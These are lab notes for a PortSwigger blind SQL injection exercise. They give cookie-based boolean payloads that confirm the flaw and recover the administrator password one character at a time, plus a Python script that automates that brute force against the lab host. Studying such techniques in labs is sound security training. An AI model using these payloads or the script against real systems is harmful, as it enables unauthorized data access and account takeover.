> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-responses.md).
# Blind SQL Injection with Conditional Responses
Blind SQL Injection with Conditional Responses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Blind SQL Injection with Conditional Responses
**Context / vulnerability:** the value of a tracking cookie (`TrackingId`) is injected into a server-side SQL query. The query does not directly return any result or errors, but the page displays **"Welcome back!"** if the query returns at least one line. This allows a **condition-based blind SQL injection** (boolean-based): we test true/false assertions and we observe the presence/absence of the message to extract data.
**Lab goal:** extract the password from the `administrator` user and log in as administrator.
#### Technique (Key Phases and Payloads)
1. **Basic stability tests / columns**
```sql
' ORDER BY 1-- -
' ORDER BY 2-- -
```
* (can detect error behaviour if useful)
2. **Verification of a true/false condition (failure string control)**
```sql
' AND (SELECT 'a') = 'a'-- -
' AND (SELECT 'a') = 'b'-- -
```
* the first must trigger `Welcome back!`, the second must not.
3. **Check existence of a `administrator` user**
```sql
' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
```
* if `Welcome back!` appears, the subquery returned a row.
4. **Extract character by character (substrings)**
* \*\*User name (e.g.) \*\*
````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
```
````
* \*\*Password (e.g.) \*\*
````
```
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
```
````
iterate positions/values to reconstruct the string. 5. \*\*Find the length (example: test length = 20) \*\*
````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```
adapt this depending on the DBMS (`LENGTH` / `LEN` / `LENGTH()`).
````
### Automation Script (Python)
" The provided script automates a character-by-character brute force by modifying the `TrackingId` cookie.
```sql
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("/nExiting.../n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable
def makeRequest():
password = ""
p1 = log.progress("Brute Force")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Password")
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
}
p1.status(cookies['TrackingId'])
try:
r = requests.get(main_url, cookies=cookies)
if "Welcome back!" in r.text:
password += character
p2.status(password)
break
except requests.exceptions.RequestException as e:
p1.failure(f"Request failed: {e}")
sys.exit(1)
if __name__ == '__main__':
makeRequest()
```
---
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